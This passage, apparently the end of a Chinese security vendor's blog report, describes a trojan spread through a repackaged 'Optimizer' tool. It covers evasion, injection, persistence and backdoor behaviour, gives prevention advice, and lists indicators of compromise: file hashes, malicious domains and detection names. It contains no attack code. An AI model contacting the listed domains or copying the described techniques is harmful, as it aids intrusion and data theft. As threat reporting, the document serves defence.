  攻击者通过将恶意代码植入Optimizer工具并进行二次打包,巧妙地利用了用户对开源软件的信任,将木马程序传播至用户终端。该木马程序具备多重反检测机制,不仅利用环境特征检测技术规避了虚拟机与沙箱分析,还通过多层脚本动态加载和系统进程注入等高级手段,成功突破了用户的安全防护体系。一旦木马程序在用户系统中驻留,便会利用计划任务实现持久化,并启动后门脚本,从而窃取用户敏感信息、控制用户系统,给用户带来极大的安全风险。

预防措施

  1. 不打开可疑文件。

    不打开未知来源的可疑的文件和邮件,防止社会工程学和钓鱼攻击。

  2. 部署网络安全态势感知、预警系统等网关安全产品。

    网关安全产品可利用威胁情报追溯威胁行为轨迹,帮助用户进行威胁行为分析、定位威胁源和目的,追溯攻击的手段和路径,从源头解决网络威胁,最大范围内发现被攻击的节点,帮助企业更快响应和处理。

  3. 安装有效的杀毒软件,拦截查杀恶意文档和木马病毒。

    杀毒软件可拦截恶意文档和木马病毒,如果用户不小心下载了恶意文件,杀毒软件可拦截查杀,阻止病毒运行,保护用户的终端安全。

    瑞星ESM目前已经可以检出此次攻击事件的相关样本

image

  1. 及时修补系统补丁和重要软件的补丁。

沦陷信标(IOC)

  • MD5

    03ea8db00d4720e18f6f61d01acfc19b
    804957e501ee0443632ea675353326d4
    5ea776ca7dccac71138a6e92a4f5c934
    76d27d57c54e58ce05ab5afbdeb668c3
    31bde898b77771957048d6a148fee8fe
    e271e80e95387400dc7d409533f52a63
    20a3fa9406ec27ba41c9df912baf1d22
    804e8ff0d9753c267ef1f617965eb2bb
  • Domain

    kuchiku.digital
    4tressx.com
    rt-guard.com
    screenner.com
    coremactools.com
    smoothmacos.com
    aginscore.com
    creufkcutp.s3.us-east-1.amazonaws.com
    instant-kb.online
    uuu.rqfefxsa.xyz
  • 瑞星病毒名

    Downloader.Agent/PS!1.13784
    Trojan.Injector/x64!1.1376E
    Backdoor.Agent/JS!1.13780
    Backdoor.Agent/JS!1.13782

Author

Comments

No comments yet. Why don’t you start the discussion?

Leave a Reply

Your email address will not be published. Required fields are marked *